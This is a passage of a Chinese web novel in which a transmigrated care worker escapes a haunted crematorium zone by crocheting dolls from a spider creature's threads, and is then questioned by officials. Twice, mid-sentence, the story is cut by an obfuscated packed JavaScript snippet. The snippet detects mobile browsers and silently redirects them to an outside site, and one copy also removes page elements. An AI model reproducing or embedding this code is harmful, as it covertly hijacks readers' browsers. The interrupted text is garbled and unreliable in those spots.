“我是认真的”，那能吃人的焚化炉的任何响动，都会莫名催动着人心里的焦虑，崔美却连回头看都不去看一眼，她眼神专注又诚恳地看向外勤经验丰富的白见真和明仲，说道。 “既然已经出不去，这里又找不到任何解决问题的方法，如果无物是因为执念产生的，那焚化工的执念会不会是烧东西，那我们为什么不试试别的……” 崔美正想要继续说些什么，纸扎明仲就扬了扬下巴，示意她回头看。 还不等她回过头看清怎么回事，白见真一把扯过崔美，把人塞进纸扎人的队伍里。 但崔美个子并不矮小，成排的纸扎人也根本不能把她挡个严实，她甚至不用站稳，就看到了身后不知道在什么时候，已经打开了的火化间大门。 门外正站着一个一动不动的蜘蛛人。 这已经不是崔美第一次如此近距离地面对蜘蛛人了，她只要一看到那玩意吐出的墨绿色丝线，就能想到最开始被它追着逃命的时候，心脏跳得有多慌乱。 以及全身都缩在那副破旧棺材里感受到的腐败味道，和闷热的气息。 她乖乖藏在白见真身后，没了纸扎头套，她只能放缓呼吸到最弱的程度。 白见真和明仲倒是反应非常快，马上继续扮演没意识的纸扎人，尽管恢复了意识，但他们三个放在一起估计都不是蜘蛛人的对手。 没人知道蜘蛛人为什么这个时候会杀个回马枪，那东西身后并没有像之前那样，驱赶着新一批的纸扎人。 蜘蛛人吞吐着黏糊糊的丝线，终于向前挪动着笨拙的步伐。 不知道是崔美屏住的呼吸足够微弱，还是藏在纸扎人中间混淆了她身上属于人类的气息，蜘蛛人在经过她身边时，甚至没有半分想要停留的意思，径直走向焚化炉。 哐啷啷的声响不断，三个人没有一个敢轻易回头去看身后正在发生着什么，但声响并没有持续太久，焚化炉大门开启又闭合的声音响起，蜘蛛人开始发出叹气般的呼哧呼哧声。 紧接着蜘蛛人发出的声音逐渐向他们靠近，似乎正在向火化间的门口移动。 并没有持续太久，蜘蛛人停止了移动。 它站立在几个纸扎人中间，吭哧吭哧地释放着丝线，缓缓转动着头颅的位置，似乎在寻找着什么东西，却对纸扎人不感兴趣。 最后它把目标锁定在了一个方向，丝线从内向外地涌动着转向那里。 蜘蛛人面朝着一个根本看不出是什么东西的纸扎物，那个纸扎物的后面，是狠狠屏住呼吸快要缺氧的崔美。 电光石火间，蜘蛛人从周身向外迅速释放丝线，由于释放的速度极快，丝线脱离身体时还带着黏液状的物体。 以蜘蛛人的身体为中心，丝线向四周延展附着，从火化间的棚顶到地板，张开了一张巨大的网。 蜘蛛人察觉到空间里有人类的存在，似乎随时准备包裹住崔美。 几乎是同时，一束强光乍现，径直照向蜘蛛人的身体，丝线结成的网瞬间就停止了继续扩张，蜘蛛人的周身也停止了释放丝线的行为。 似乎由于丝线释放的戛然而止，蜘蛛人开始不自然地鼓胀着身体，猛地向火化间的角落快速移动。身体里的丝线拉扯着已经结成的网，却又因为突然的移动由松弛状态绷紧着，最后“砰”的一声，被扯到极致的网在空中炸裂开，眨眼间就碎成无数个碎渣。 带着黏液的碎渣掉落，黏糊糊的落在地面和纸扎人的身体上。 白见真和明仲被这转瞬间的变故震撼的愣在那，等缓过神来时，才发现那束突然亮起的强光来自崔美。 崔美还保持着举着强光手电筒的姿势没有变，那道在火化间里过于明亮的光束始终指向缩在角落的蜘蛛人身体上。 她用力眨了眨眼，黏液落在了她的头发和脸上，似乎眨眼就能让黏液不会滑进眼睛里。 白见真靠近她，抬起纸扎的手给崔美擦了擦脸。 “听说蜘蛛害怕强光。”见蜘蛛人还缩在那没有动弹，崔美这才出声解释道。 崔美并没有想太多，在蜘蛛人似乎察觉到她存在的那一刻，脑子里浮现出一幅熟悉的画面。 一个不大的盒子里，蜘蛛正精心结网准备黏住盒子里的其他飞虫，而在一束强光照向正在结网的蜘蛛时，蜘蛛开始在封闭的盒子里四处逃窜，企图躲避强光的照射，完全忘记了捕食。 崔美摸到腰间其中一个压缩口袋里的强光手电筒，由于没有半点异能，那是在外勤前领取工具包的时候，她自己装进去的。 【总有一些动物，是见不得光的】 混沌的声音出现在崔美某一处支离破碎的记忆里，触不到触角的回忆里的场景如万花筒般炫目，比起声音的真实出处，或许更像是出现在十万个为什么里，也像动物世界的解说。 根本来不及思考，崔美就掏出手电筒照向了蜘蛛人。 “你懂得倒是多。” 明仲还是那副轻佻语气，明明应该说着赞扬的话，却总是带着阴阳怪气的滋味。 他和白见真向角落里的蜘蛛人靠近，却又不敢走得太近，查看了蜘蛛人的状态后，他继续说，“这东西看样子只会攻击普通人类，但你这太阳能手电筒也坚持不了多久吧？” “我来想办法控制住它，希望在这之后你能告诉我，引来蜘蛛人为什么会是个好主意。” 白见真抬手指向畏惧强光的蜘蛛人，掌心周围环绕起熟悉的黄绿色光，积蓄后的催眠异能集中在她掌心，没多久就形成了头颅大的光球，随着光球的逐渐扩大，发出噼啪的声响。 光球的亮度很快就超过崔美手中手电筒的那束强光，吸引了蜘蛛人注意力的同时，也令它更加畏惧的想躲。 正准备逃窜火化间另一角的刹那，光球利落击中蜘蛛人的身体。 蜘蛛人在催眠异能的强光下不再发出刺耳尖叫，反而转为平静，最后终于陷入了沉沉的睡梦中。 明仲移动到已经大开的火化间门口，他指着沉睡的蜘蛛人，“门已经开了，那玩意也暂时不会动，你们不打算走？” “那你们就在这蜘蛛人身上继续想主意吧”，他瞥了眼已经恢复运转的焚化炉，“我可不想耗在这当下一个焚烧物。” 说完，明仲头也不回就踏出火化间，走向走廊深处。 稳定住蜘蛛人后的崔美和白见真这才注意到火化间里的变化。 除了最开始自己爬进焚化炉的牛头纸扎人，原本火化间里还应该剩下崔美这个假纸扎人在内的18个纸扎人。 而此刻，在明仲离开后的火化间里，只剩下了9个。 早在他们背对着焚化炉躲避蜘蛛人时，那一连串的哐啷啷声响，居然是蜘蛛人在维修焚化炉。 而现在正轰隆隆工作中的焚化炉里，应该正焚烧着刚刚一起消失的8个纸扎人。 连同被崔美之前拦住的马面纸扎人，消失的似乎还有两个明仲的同事，下次焚化炉打开时，爬进去被烧的，或许就不再是一个，而是8个。 “除了我以外，只剩下八个……”崔美囔囔道，她迅速收好手电筒，拉起白见真也向门口走去，“他说得没错，我们要先离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最开始她还以为火葬场闹鬼了。 崔美一手扯着“毛线”，手感却跟睡着前手里的毛线手感有些不同，毛线的另一头不是还没织完的毛衣，而是一个躺在床上从身体里往外冒着奇怪颜色毛线的人。另一只手握着用这人身体里冒出来的毛线团成的线团。 如果不是闹鬼，那就是她疯了。 然后系统跳出来告诉她：不是见鬼，恭喜你穿越了。 那个躺在病床上的人，从身体里往外冒毛线，就像此刻虽然瘫软在角落，却还在缓缓向外冒着丝线的蜘蛛人那样。 外勤的工作制服跟疗养处内部的普通没有功能性的制服完全不同，虽然看起来只是普通的连体工装，却能够防火防水甚至可以防止外力和异能伤害。 制服腰间扎着一排大小各异的压缩口袋，可以装载携带人自身体重两倍的物品，并压缩成不到五斤的重量。 收取线状无物的梭、保持体力的营养剂等都可以放在自己觉得顺手的那一个口袋里。 在最顺手的那一个口袋里，崔美摸到了在穿越到查奥斯时，手里握着的那一根金属钩针。 白见真歪了歪头，崔美的表情跟之前完全不同，不胆小更不慌张，但她似乎没听懂崔美在说什么。 并没有理会白见真的劝告，崔美大跨步迈进火化间，径直向角落里的蜘蛛人走过去。 她蹲在蜘蛛人的身旁，从口袋里抽出那根金属钩针，冲着白见真扬了扬手，“这就是我说的好主意。” 说罢，崔美攥着钩针的手，伸向蜘蛛人。 8. 草台班子的运气 崔美蹲在蜘蛛人一旁，满脸的嫌弃，抬手用钩针从已经不省蛛事的蜘蛛人身上，向外挑着无物丝线。那上面还带着蜘蛛人涌出无物丝线时，粘连的黏液。 那一坨堆在蜘蛛人身旁的丝线黏糊糊的乱作一团，她好不容易在里面挑出个线头，咬咬牙，开始大力向外抽丝。 崔美一只手攥紧一段线头，开始在那一小段线头上快速缠线。 蜘蛛人身上的线头，跟疗养处的护工们需要找的线头完全不同，甚至崔美只需要用力，就可以扯断，只是带着普通污染的丝线而已。 而那种由于人类强烈执念精神力的积累形成的无物，是种斩不断，也永远扯不干净的污染物。 “来帮我个忙。”崔美没有空余的手，她扭头看向还愣住在门口的白见真，喊道。 白见真挪动到蜘蛛人身旁，蹲下再次查看那东西还受制于催眠异能后，她看向手速飞快翻动的崔美。 “虽然我们是同事，但你没必要留下来陪我等死，出去说不定还有机会逃命，万一你运气好，能找到里域空间连接外面的出口……” “会缠线团吧？像我这样，攥住一头，跟我们平时整理无物一样，把线缠成团。”崔美动作急促，显然心里更加急，额头向外渗着细密的汗。蜘蛛人不知道什么时候会恢复意识，而身后的那个焚烧炉也不知道什么时候会再次吞噬纸扎人。 白见真见劝不动她，只犹豫了片刻，就加入了缠线团的操作里。 这样的工作对于疗养处的护工们来说，非常熟悉，每天都在做，都要做。 很快，崔美的手上就缠好了一个线团，她从压缩口袋里掏出另一根钩针，跟刚刚手上的那一根凑成一副。 “继续帮我缠线团，然后我给你讲个故事吧，反正我们也出不去对不对？如果能缠得快一点就更好啦！” 习惯性用钩针的一头戳了戳脑袋，崔美熟练地在钩针一头起好头，上下操作着，白见真根本看不清她手指的动作。 白见真在她旁边坐了下来，加快了手上缠线的动作，崔美看不出纸扎人的表情，但白见真透过纸扎的躯壳，默默观察着崔美。 眼前看起来故作轻松的人，滑到鼻尖的汗能看出来心里多焦急，却完全没有表现出来。 留在火化间陪白见真不是一个明智的选择，就算这个普通公民同事胆子再小，毕竟也只是个会受伤、会死亡的普通人类。 而崔美的脸上，看不出半分对未知的危险和死亡的恐惧。跟她之前认识的那个怯懦、胆小到可以说过分老实的崔美完全不同。 “这应该是你们异能化公民没听过的故事。对我们普通人类来说，火化炉算是在生命的最后，送走我们的重要一站。不管是怎么结束的生命，最后都要被送到这，一把火烧成一把灰。” 崔美专注地织着手上的东西，笑了笑继续说。 “其实烧完的人也并不是灰烬，其实是骨头渣子，最后敲敲打打，变得更稀碎，灰烬只是一种说法而已。而且每个人在烧成灰以后，颜色也是不一样的。” 缠着线团的白见真没有停下手上的动作，接了句，“确实，异能化的人类，如果不是变成现在的样子，再被困在里域空间，根本不可能被火烧成灰。” 崔美迅速织好一个手指大小的东西，在一头打了个结，用力扯断丝线后，在钩针上迅速重新起了个头，继续织着。 “但听说，就算人化成灰了，只是变成另外一种形式、去了另一个世界。躯体不在世上，总有些怎么都实现不了的执念会留下来。我们普通人里面的说法是，人如果带着这些执念，不去化解，就会变成害人害己的恶鬼。” 白见真似乎没太听懂，手上的动作顿了顿，然后又继续缠着线团。 崔美没有注意到她短暂的停顿，而是继续说着，“所以不管人活着还是死了，都要想办法，让他放下执念。想做什么就去做。” 接着，也不管白见真能不能听懂，崔美絮絮叨叨地讲着什么屈死鬼索命，淹死鬼吃炒蚕豆，钟馗捉鬼等等鬼故事。 故事讲着，她们面前的地上就织好了一排手指大小的，人形娃娃。 一、二、三、四、五、六、七、八。 崔美把织好的最后一个娃娃也摆在旁边，刚好八个娃娃。 攥着钩针的手还没放下，崔美左右扭动着头，端着手臂操作了不知道多久，直到结束才察觉到僵硬得不行。 穿越到查奥斯之后的这几天，崔美还是头一回拿起钩针织东西。 之前不是她不想织，而是这个世界里，压根就没有毛线这种东西存在。 她数了数面前织好的丝线娃娃，按照平时钩针的手速，估摸着时间过去了最多一个半小时。 “我确实相信自己运气还不错。” 崔美突然想起了之前白见真的话，她想了想，心里那句【尽管这个崔美运气可能没有我这么好】并没有说出口。 “而且我也希望自己身边所有人的运气都很好，就算运气有高低起伏，也不要把自以为变得倒霉的原因，归在自己身上。” 她摆弄着地上的八个毛线人形娃娃，继续说着。 焚化炉刚好在此刻声响渐弱，随时会停止运转。果然转瞬，焚化炉就停了下来。 如果崔美和白见真猜得没错，炉子即将吞噬掉最后八个纸人。 其中也会包括白见真。 “你就在这别动。”崔美把地上的八个人形毛线娃娃抱在手上，对白见真说着，“你最好抓住那东西”，她示意让白见真抓住地上的庞然蜘蛛人，然后走向了焚化炉。 就在她走近时，七个纸扎人突然齐刷刷迈步，在焚化炉旁一字排开。 而白见真的身体果然不受控制，被什么东西吸引着，往焚化炉的方向拽着。 “抓紧，千万别松开！”崔美没回头，大声喊着。 闻声，白见真用力抓着蜘蛛人的身体，纸扎的手臂有种快要被扯断的拉扯感。 哐当！ 焚化炉的自动门再次打开了。 “只要你相信自己，运气总会好的！” 说完，崔美把手上用蜘蛛人身上的无物丝线织成的八个人偶，丢进了炉子。 …… 查奥斯中心区，联合政府特事管理处。 “保守估计，什么叫作保守估计？被困在归墟场的人里面，有六名都是我们机械武装处的精英！你们特事管理处到底是怎么做事的！工单也是能随便派的吗？” 机械武装处的主任陆仁第五次大力拍着桌子吼道，天还没亮，他就接到了特事管理处的通知，火急火燎赶来中心区的管理处。 特事管理处的派单系统出了问题，有七名联合政府的公职人员困在归墟场的里域空间。 最后有工作人员进入归墟场范围，是在两天前的3月13日。 迄今为止，无法扫描到里域空间内的职工异能活跃迹象，归墟场彻底被高污染无物封死，有进无退。 上一次查奥斯境内发生同样的状况，还是在三十年前，受到一场来源不明地磁暴的影响。 陆仁的直属上司、处长庄炎抱着个保温杯，并没有要发表任何态度的意思，而是头也没抬地吹了吹保温杯里的温开水，喝了一口又一口，才缓缓开口。 “老陆，柏处长都没说什么呢”，她抿了抿湿润的嘴唇，咂么着，“疗养处培养的就不是精英啦？” 会议室长桌中间，是被推出来协商事故处理的危机中心主任吴理。长桌左手边是带着暴躁下属陆仁的机械武装处处长庄炎。 右手边坐着始终没说话的疗养处处长柏苏。 危机中心虽然叫这么个名字，实际上特事管理处真需要处理的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917607|177027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 危机又有哪些呢，吴理也就是传达管理处的决定罢了。 管理处发布危机处理令，由于归墟场封锁范围内的污染不断累积，高污染无物直逼归墟场外围隔离带。经管理处数据监控，归墟场已经没有继续净化的可能，发布处理令后倒计时三小时，不管里面的职工是否能够逃离里域空间，都将使用高能湮灭炮将归墟场内所有物质撕碎成粒子，此后归墟场区域会被彻底封禁。 而这会儿，携带高能湮灭炮的特殊行动组正在归墟场外待命。 陆仁态度稍微缓和些，他面向看不出情绪的疗养处处长柏苏，“柏处长，您倒是说句话啊？管理处这叫找我们来商量吗？这不就是做好决定直接通知一声吗？” “老陆，我和你们庄处长的决定一样，一切听管理处安排。” 自从坐在会议室收到通知后，柏苏就没有说过话，她和同样人到中年却由于身体异能化保持着看似三十岁模样的庄炎一样，抱着自己的保温杯，始终在默默喝水。 “联合政府职工手册第一章第二条，查奥斯联合政府职工，遭遇危机事故情况下，以管理处危机中心处理令为优先准则。” 柏苏手指缓慢敲击着桌面，她抬眼看向专心喝水的机械管理处长庄炎，又收回视线，“时刻做好为查奥斯政府和公民牺牲的准备和觉悟。” “啪啪啪”，庄炎拍了拍手，“不愧是疗养处历来最年轻的处长，柏处长就是觉悟高啊，哪怕牺牲自己女儿也能面不改色啊？” 咚咚咚咚！ 会议室的门被突然敲响，终于解救了被这两位处长夹在中间、感到左右为难的吴理，她冲门外大声喊道，“进来！” 一个年轻小伙子抱着数据屏神色慌张着，快步走了过去，是吴理的助理，他把数据屏递给吴理。 “主任，归墟场数据有变化！” “怎么？归墟场连接里域空间的连接口找到了？有营救的希望了？”吴理眼睛一亮，抓过数据屏。 她低头看完数据，口中囔囔着，抱着数据屏的手开始哆嗦。 “怎么会这样、怎么会这样。” “主任，接下来该怎么办……？”那小伙子一进会议室，就被两大部门处长剑拔弩张的氛围震慑到，这会儿根本不敢看别的地方。 吴理稍微调整自己的情绪，她先是看了看庄炎，又把目光转移回柏苏身上。 “更新归墟场区域扫描数据，被困人员疑似增加为七名。” 不止情绪容易大起大落的陆仁发出“什么！？”的疑问，就连柏苏和庄炎都面露疑惑，派单系统中并没有显示还有其他职工进入归墟场工作。 “数据中心通过□□扫描系统，依然无法识别到6名机械武装处职工，和1名疗养处职工的异能活跃数据。” 接着吴理清了清喉咙，却降低了声量，“但通过高频次扫描，识别到了一名没有异能参数的……普通公民。” 陆仁面露喜色，“有普通公民！？也就是说联合政府职工手册的准则可以为普通公民打开，你们必须赶快联络特殊行动组终止行动！” 柏苏和庄炎也露出意外的神情。普通公民应该待在联合政府的南城区域，不能随便在其他区域行动，那个普通公民不仅擅自外出，居然还能进入到归墟场里。 甚至到现在还有生命迹象。 柏苏却不由得眉心一跳，有种不太好的预感。 年轻助理的即时通讯装备发出嗡鸣，他只扫了一眼，就迅速递给了吴理。 接过即时通讯器，吴理神情愈发严肃起来，挂断后她迅速向外拨通通讯装置，抬眼看向会议室的电子时钟。 “特殊行动组组长听特事管理处急令：污染浓度曲线无规则升高，半小时后执行归墟场湮灭任务。” 陆仁猛地站起身再次大力拍桌子，“你们、你们这是谋杀！” 9. 接受调查 吃坏了肚子的人可能会上吐下泻，等到彻底吐干净了，或许就没事了。 焚化炉也会吃坏了“肚子”，最开始闭合着大门哐当哐当响个不停，随后焚化炉的大门又一次打开。 就在崔美和白见真做好准备，等着闭着眼睛等死时，土灰色的丝线从焚化炉的箱体里一股、一股向外涌出，就像吃吐了。 如果焚化炉会说话，它非要追究责任的话，“罪魁祸首”是崔美。 准备张开幽深大嘴吞掉火化间里最后八个纸扎人的焚化炉，被迫吞食了来自崔美投喂的八个手工针织人偶。 而人偶的材料，纯天然无添加，甚至就地取材，源于昏迷蜘蛛人身上的低阶无物丝线。 白见真傻眼了，她还没成年那会，就跟着母亲围观过外勤现场，成年后到现在为止，工龄也有十年了，恐怖、危险、抑或恶心，但她从来都没在现场见过这样的场景。 “焚化炉……怎么了？是在吐吗？” 白见真傻眼，继续问道，“你刚刚做的那些人形的娃娃，就是需要蜘蛛人的原因吗？但那是什么原理，又什么工作逻辑？” 当然没有原理，没有逻辑。 崔美思忖着如何用看起来合理一些的话术给白见真解释自己的行为。 如果在这个世界，由于执念过强产生了精神污染，进而形成叫作无物的物质，而这种无物又因为无法被净化产生了封闭的里域空间。 那么既然目标任务是火葬场里的焚化工，再加上在里域空间里的人都会变成纸扎的，还会自己爬进焚化炉被烧。 崔美猜测，有没有一种可能，不管焚化工是谁、在哪里藏着，焚化工的执念只是想烧东西。 听起来毫无逻辑和道理，但她实在想不到别的可能性了。她都已经穿越到了废土世界，还管什么逻辑？ “之前我不是把在后院随手拔的纸扎萝卜扔进去了吗？焚化炉居然也稀里糊涂地把纸萝卜当成了纸扎人吞了进去，所以我猜焚化炉并不仅仅是根据纸人形态吞噬物体，说不定其他物体也可以。或许焚化炉，只是想吞东西、烧东西，至于这东西是什么也无所谓。” 崔美指了指还在昏迷中、并不知晓焚化炉正在大吐特吐的蜘蛛人，“我总不能把那玩意大卸八块丢进去，实在没这个实力，想想还有点恶心。” “所以你就用蜘蛛人身上的线做工具，没想到你竟然会钩针这项手艺，很了不起。” 白见真一副了然的语气，感慨着。 “也没那么了不起，跟家里人学的……”崔美腹诽着查奥斯过于先进的科技水平，对于钩针、织毛线这种纯手工项目，早就被遗忘和抛弃。 人类身体飞速进化后，已经没什么人愿意花费时间和精力，再去学习和研究手工活儿要怎么做。就连普通公民也开始沉迷于方便快捷的电子机器制造。 崔美会用钩针织东西这件事，在查奥斯人眼中，或许就像看老古董一样感到神奇。 “我倒是担心那东西只喜欢吃人形物体，不喜欢吞其他东西，织成人形，只是出于保险起见。还真把它吃吐了。” “你……” 白见真想起崔美是南区的普通公民孤儿，并没有家人，疗养处这才破格帮她申请，住在联合政府的宿舍里。 她不太会安慰人，也不知道该怎么跟孤儿聊家人的话题，索性直接跳过这个话题，白见真想到一件更重要的、刚刚一直想说的事。 “你能留下来帮忙，我很感动。” 白见真被困在火化间里，焚化炉会随机吞噬下一个纸扎人，而这“下一个”会不会是白见真也只是时间问题。 比起坐以待毙，不如想想办法，毕竟传说中三步之内必有解药。 如果崔美有自己的人生哲学，可能是：没有不敢想，只有不敢做，反正绝不轻易放弃自己。 崔美走向另外七个纸扎人中的一个，试探着搬动起一个，并不重，跟她之前搬运过的普通纸扎人并没有手感和重量上的区别。 于是她抱起一个纸扎人走向火化间墙角，远离焚化炉，避免纸扎人又不受控自己往里面跳。 那她就白努力了。 “我一个普通公民，跑路还是留下，总归是死路一条，不过是死的方式不同罢了，那我还不如留下跟你做个伴儿，搞不好黄泉路上还能手拉手。” 放好一个纸扎人，崔美又去搬另一个。 白见真见状，也去帮忙搬运。 尽管不知道“黄泉路”到底是什么路，又是哪一条路，但她被崔美逗笑了。 焚化炉吐了很久，似乎终于吐完了，吐出来的灰色丝线一坨一坨堆积在焚化炉下方，就像浸泡了太久的线面堆在那。 其他七个纸扎人被搬运到离焚化炉最遥远的墙角面壁，并没有因为焚化炉停止呕吐而重新移动往里面跳，不过也并没有要恢复意识的意思。 这七个纸扎人里面除了明仲的三个同事，另外四个除了能看出来也是人类，并不能辨别到底是谁，白见真也不认识他们。 噗—— 一团烟雾从焚化炉中喷了出来。 崔美和白见真自觉向后退了两步，烟雾逐渐散去时，一只手从焚化炉里向外试探着摸索前进，然后攀附在了焚化炉下方高高堆起的丝线上。 黏腻的成坨丝线粘掉了一些那只手上的东西，是渣滓。 紧接着从焚化炉里探出来的，是手臂、头颅，然后是整个身体。 那是一个人，一个由碎渣子合成的人形。 “很久没有烧过这么美味的东西了……” “还有吗？还有吗？还有吗？” “再给我烧点，再来点……” 看不出性别，更看不出模样，缓慢向外爬着的人形，只有人的轮廓，没有具体的五官，看起来就像个人形模特。 只不过是渣滓材料的模特，那些渣滓颜色各异，拼凑在一起甚至看起来有些五彩斑斓。 那东西边爬边发出声音，嘴巴的位置还流着渣滓状的口水。 仿佛一个上了头的瘾君子。 “这是什么东西？”白见真从没见过这样的污染物。 崔美皱了皱眉，她没看错的话，组成那个人形的碎渣子，全都是骨灰，各种碎块大小和颜色不一。 她不会看错，一定是骨灰。 “崔美，是线头”，白见真提醒崔美，她指向骨灰渣滓人后背的位置，“看那！” 过于色彩斑斓的身体上，差不多在脊梁骨的位置，隐约露着一根墨绿色的线头，跟最开始追杀崔美的那个蜘蛛人身上的丝线颜色看起来非常像。 就在她们以为骨灰渣滓人还要向外爬的时候，它一边哼哼着“再给我烧点”，整个身体都卡在了那一大坨黏糊糊的丝线堆上。 不动了。 崔美把手伸进压缩口袋里，拿出了收集无物用的工具梭，她小心翼翼地向骨灰渣滓人的方向挪了挪。 骨灰人还趴在丝线堆上哼哼唧唧的空档，崔美飞速蹿到骨灰渣滓人身旁，眼疾手快的一把揪住它后背上的线头，扯着线头边往梭上面安，边转身往远处跑。 跑动间，崔美感到手中的梭开始自动转动了。 成了！ 梭是一种特殊物质制成的工具。 只有找到真正属于无物的线头源头，再把线头对准安装到梭上面时，才能够被梭识别到，然后梭就会自行转动采集无物之线。 崔美和白见真移动到火化间门口，白见真试探过后，发现还是没办法出去，她对着崔美摇了摇头 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随着杂乱的脚步声从昏暗的走廊另一头靠近，崔美才看清这是一队衣着跟机械武装处工作服相似，又十分特殊，看起来像军用服装，每个人身上都带着武器。 白见真一眼就认出了，这些人是特殊行动组的成员，喊话的是特殊行动组三组的年轻组长，杜草柯。 她心底一沉，特殊行动组三组，只会在区域高度污染，并且机械武装处和疗养处无法进行处理和清洁，需要用高能湮灭炮彻底进行湮灭和封锁时，才会出现。 她们差一点就要真的没命了，只不过是死在自己人手里。 “她们是疗养处的护工，自己人。” 特殊行动组成员身后挤出来一位熟人，是纸扎人形态的明仲。 他对崔美和白见真摆摆手，全当作打招呼了。 缠到梭上的丝线细到几乎看不见时，系统的声音再次在崔美脑袋里响起。 【恭喜主人完成系统体验卡，欢迎来到美丽查奥斯】 【主线任务：认真工作，保障生命体完整健全】 【再次温馨提示：可以作死，但不能真死】 特殊行动组的人全副武装，几个人靠近已经无法动弹的骨灰渣滓人，另外几个人检查着崔美和白见真的状况。 崔美一脸疑问地看向白见真。 这就结束了？收工了？ 这工作看起来很要命，居然可以这么潦草吗？ 她看不出白见真的表情，白见真跟明仲一样，还是纸扎的身体。 杜草柯手扶耳侧的通信器，向什么人汇报着工作。 “归墟场被困人员已解救，机械武装处四名，疗养处一名，普通公民一名，未知人员四名，九名人员中度污染，急需转运到管理处医疗中心进行净化治疗。” 特殊行动组的一员一手握着一个带扫描装置的仪器，另一只手里握着什么东西，来到杜草柯身边给她看，随后低声说了什么。 杜草柯和那名组员看向崔美和白见真。 “特殊事项：任务目标的污物被彻底清除，请求上级指示。” 杜草柯侧着头歪向戴着通讯器的一边，她点了点头，回复道，“指示已接收”。 关闭通讯器，杜草柯径直走向崔美和白见真。 “你们好，特殊行动三组组长，杜草柯，你们两位需要跟我走一趟，回到管理处医疗中心接受净化治疗。” 她顿了顿，面色怪异的看了眼崔美，又转回头补充道，“在二位净化治疗后，需要跟这位普通公民一样，配合接受组织调查。” 崔美这才看清那名组员递给杜草柯的东西是什么。 是她亲手织的八个毛线小人。 活的。 10. 珍爱生命远离外勤 老实说，崔美甚至怀疑过自己并不是穿越到了什么离谱的鬼废土世界，她其实只是在做梦。 直到被特殊行动组的人面带微笑着带出归墟场时，她都觉得眼前发生的这些事儿不合理。 她以为工作结束可以回到员工宿舍洗澡躺平，结果居然要被带走配合调查。 崔美不懂，她没做什么伤天害理的事，甚至还救了几个纸扎人。 不管归墟场里面这鬼打墙一般的里域空间，到底是她和白见真误打误撞破坏的，还是特殊行动组的人来到归墟场以后，通过什么她完全不了解的技术手段突破的。 她只是来这工作的，白见真也好，她也好，应该都没有任何需要被调查的理由。 “他们受污染程度各异，会统一由污染隔离车装载，直接带回管理处的医疗中心接受净化治疗”，杜草柯示意组员把白见真和明仲等人带上车，她转头面向崔美。 “至于你，仪器检测没有受到污染，回到管理处后会有专人对你进行检测，但在此之前，需要你和我乘坐一辆车，路上有些事，我需要提前问你。” 崔美眼神向白见真求助，眼下能帮她的只有同为疗养处的这位同事。 但显然没有多大用处，白见真并没有恢复状态，崔美也没有办法透过纸面孔看得出来白见真此刻是什么表情。 白见松松垮垮地对她摆了摆手，走近崔美，抓住她的手腕正准备说什么。 还没张嘴，就被站在一旁的杜草柯打断，她对着白见真做了个暂停的手势。 “杜组长可能不了解，她叫崔美，并不是误入归墟场的普通公民，她是我们疗养处的一名护工，也是来归墟场工作的，所以……”白见真见状，解释说。 杜草柯却直接挡在两个人中间，面向白见真，“白组长，既然都是为联合政府工作，那大家都是同事。你也懂联合政府的规定，我们只是例行公事，大家还是不要做没意义的互相通气吧？” 白见真只好松开崔美的手腕，跟在明仲身后，在特殊行动组其他组员的监管下，上了倒数第二辆隔离车。 有两名组员抱着一个封闭的箱子，踏上队伍最后面的那辆隔离车。 杜草柯见最后那辆车关闭了隔离车门，这才回头看向崔美，“我们也出发吧，他们还在管理处等我们。” 崔美面无表情，看着纸人们上了隔离车，只怔愣片刻，就点了点头，随杜草柯上了面前的车。 “我能先问个问题吗？归墟场的任务，就这样结束了？” 还没等杜草柯先发问，崔美问出了她从归墟场里面走出来这一路里最大的疑问。 “事先声明，我对你们疗养处并没有什么意见，但出于需要，我要先核实你的身份，工牌带在身上吗？”杜草柯反问道。 崔美掏出自己的工牌递给杜草柯，她不是很懂，白见真作为与杜草柯相识的政府同僚，已经向她介绍过自己疗养处的员工身份，怎么还需要查工牌。 这鬼查奥斯里，没有意义的规则还真多。 崔美的工牌远比其他人的要简洁很多，除了身份照片外，只标注着工作单位疗养处，姓名崔美，以及一个大大的“普”字。 没有异能分类，更没有公民等级。 杜草柯盯着那个普字看了许久，才把工牌还给了崔美。 “我只能说，你提供给我们的梭上的物质，确实是归墟场内的无物没错。至于归墟场的任务是不是结束，后续如何处理，不是你该关心的。况且，一个普通公民，能活着离开里域空间就应该……” 杜草柯话还没说完，就把剩下的咽了下去。 “是，我们普通公民，能活着，就该感谢天感谢地，感谢美丽查奥斯政府。”崔美接着杜草柯的话说。 接着崔美态度一转，她眼睛亮晶晶、水汪汪地看向杜草柯，“请问杜组长，您身上带零食了吗？再不吃东西，我就真活不下去了……” 杜草柯从车内的恒温箱中取出一瓶粉色营养剂抛给崔美。 营养剂这东西，补充能量效果显著，但崔美来到查奥斯的头一天，就在喝了瓶营养剂之后吐了出来。 粉色瓶营养剂味道堪比中药，实在是难以下咽。 崔美刚刚瞥见杜草柯的恒温箱里，一整排营养剂都是粉色，她只好瘪了瘪嘴，屏住呼吸，把这会儿能让她三分钟内就恢复体能的营养剂大口灌了进肚子。 灌完营养剂，还干呕了一声。 崔美跟着杜草柯坐在厢式车的中间那排，副驾的组员微微侧目，司机透过后视镜悄悄观察，整个车上没人敢吭声。 粉色营养剂，是杜草柯的最爱。 随后，车内终于进入了问话的正题，而一路上，杜草柯对崔美的讯问也很简单。 无非是崔美的住址，进入疗养处工作多久了，平时工作是在疗养处内部多一些还是外勤多一些，最近有没有吃什么特殊的东西，以及身体有没有感觉到异样的变化。 杜草柯对照着手中的电子屏一边问出这些问题，一边观察着崔美的表情。 